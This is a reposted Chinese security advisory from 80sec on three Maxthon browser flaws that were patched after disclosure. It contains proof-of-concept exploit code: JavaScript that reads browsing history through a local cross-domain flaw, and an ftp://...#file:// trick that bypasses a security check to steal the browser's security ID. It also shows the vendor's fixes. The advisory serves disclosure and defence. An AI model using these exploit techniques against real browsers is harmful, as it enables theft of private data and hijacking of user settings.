遨游修复的几个安全漏洞 's

admin 2017年4月18日05:32:26评论232 views字数 2903阅读9分40秒阅读模式
摘要

来源:80sec在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下:

来源:80sec

在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下:

漏洞来源:http://www.80sec.com/release/maxthon-vulns-poc.txt

1 浏览器内核漏洞导致的本地跨域漏洞

漏洞说明:maxthon采用了系统的IE内核,但是该内核可能存在一些安全漏洞导致跨域攻击,而遨游的max:等的域是在本地等同于file://,所以这个跨域攻击将导致在本地上下文中执行javascript代码,这里只给出取得遨游浏览历史记录的POC。

漏洞POC:

 <a href="">Maxthon Exploit</a> <script> function win(){ x=window.open("max:history"); setTimeout(function(){ x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i<x.length;i++) document.write(x[i].site+/”<br>/”);”) },3000) } window.onload=function(){ for (i=0;i<document.links.length;i++) { document.links[i].href=”javascript:win()” } } </script> 

漏洞修复:在IE内核修复之前,遨游新版本已经修复这个安全漏洞

2 遨游安全中心漏洞导致的远程修改任意用户设置

漏洞说明:遨游对IE内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组 HTML+JAVASCRIPT,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。当然,遨游也有自己的安全策略,将那些HTML文件放到 外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下:

 var max_security_id=''; var url=String(document.location).toLowerCase(); if(url.indexOf('file://')>-1&&url.indexOf('http://')==-1&&url.indexOf('https://')==-1){ max_security_id='{B73B3AC9-B009-4429-AE67-514332D791FE}'; }else{ document.location='about:blank'; } 

其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并 不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。

首先,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用:

 <script src="E:/Program Files/Maxthon2/template/security.src"></script> <script src="d:/Program Files/Maxthon2/template/security.src"></script> <script src="c:/Program Files/Maxthon2/template/security.src"></script> 

别意外,遨游是允许做这样调用本地文件的:),但是security.src也是有限制的,只有当location里包含file:///并且不包 含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含 file://也很简单:

 ftp://www.foo.com/exploit.html#file://80sec.com 

这样一个地址实际访问的是exploit.html,但是location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。

漏洞POC:

搭建一个匿名ftp服务器www.foo.com,然后在恶意站点做如下引用:

 <iframe src="ftp://www.foo.com/history/index.htm#file:///www.80sec.com" width=100% height=100%> 

/history/index.htm为放在www.foo.com上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录下面的index.html里的

 <script type="text/javascript" src="../security.src"></script> 

换成

 <script src="E:/Program Files/Maxthon2/template/security.src"></script> <script src="d:/Program Files/Maxthon2/template/security.src"></script> <script src="c:/Program Files/Maxthon2/template/security.src"></script> 

通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等

漏洞修复:新版本将代码修正为

 var max_security_id=''; if(String(window.document.location).toLowerCase().indexOf('file://')==0){ max_security_id='{02E14D94-53C8-4B6D-89AE-755DC5299C6C}'; }else{ document.location='about:blank'; } 

限定只能本地文件能引用这个js,修复了这个问题。

3 RSS订阅跨站脚本漏洞

漏洞说明:遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞

漏洞POC:订阅http://www.80sec.com/feed就可以看到效果:)

漏洞修复:新版本已经修复

Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.

本站内容均为原创,转载请务必保留署名与链接!
遨游修复的几个安全漏洞:http://www.80sec.com/maxthon-vulns-poc.html

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月18日05:32:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   遨游修复的几个安全漏洞 'shttps://cn-sec.com/archives/45190.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息